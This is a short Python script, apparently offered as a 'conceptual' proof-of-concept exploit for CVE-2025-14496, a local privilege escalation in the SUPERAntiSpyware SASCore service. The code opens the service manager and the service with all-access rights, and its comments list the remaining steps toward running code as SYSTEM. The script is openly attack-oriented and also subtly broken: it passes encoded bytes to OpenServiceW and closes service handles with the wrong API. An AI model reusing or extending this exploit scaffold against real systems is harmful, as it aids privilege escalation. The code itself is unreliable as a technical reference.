CVE-2025-14496

# CVE-2025-14496 PoC - SUPERAntiSpyware Local Privilege Escalation # This is a conceptual PoC demonstrating the exploitation approach # Actual exploitation requires specific memory manipulation techniques import struct import ctypes # Define necessary Windows structures class LPSECURITY_ATTRIBUTES(ctypes.Structure): pass # Service name for SUPERAntiSpyware Core Service SERVICE_NAME = "SASCore" def trigger_vulnerable_function(): """ Trigger the vulnerable function exposed by SAS Core Service This PoC demonstrates the attack concept - actual implementation requires reverse engineering of the specific vulnerable function """ try: # Open service control manager sc_manager = ctypes.windll.advapi32.OpenSCManagerW( None, # local machine None, # ServicesActive database 0xF003F # SC_MANAGER_ALL_ACCESS ) if not sc_manager: print("[-] Failed to open Service Control Manager") return False # Open the SAS Core Service service_handle = ctypes.windll.advapi32.OpenServiceW( sc_manager, SERVICE_NAME.encode('utf-16le'), 0xF003F # SERVICE_ALL_ACCESS ) if not service_handle: print("[-] Failed to open SAS Core Service") ctypes.windll.kernel32.CloseHandle(sc_manager) return False print("[+] Successfully opened SAS Core Service") # The vulnerable function is called through the service's IPC mechanism # Attackers would need to: # 1. Find the named pipe or IPC interface # 2. Craft a malicious request to trigger the exposed dangerous function # 3. Execute arbitrary code in SYSTEM context # Cleanup ctypes.windll.kernel32.CloseHandle(service_handle) ctypes.windll.kernel32.CloseHandle(sc_manager) return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print("CVE-2025-14496 PoC - SUPERAntiSpyware LPE") print("=" * 50) print("Note: This is a conceptual PoC. Full exploitation requires:") print("1. Reverse engineering of SAS Core Service") print("2. Identifying the specific vulnerable function") print("3. Crafting the appropriate IPC request") print("4. Handling service-specific authentication/validation bypass") print("=" * 50) trigger_vulnerable_function() if __name__ == "__main__": main()

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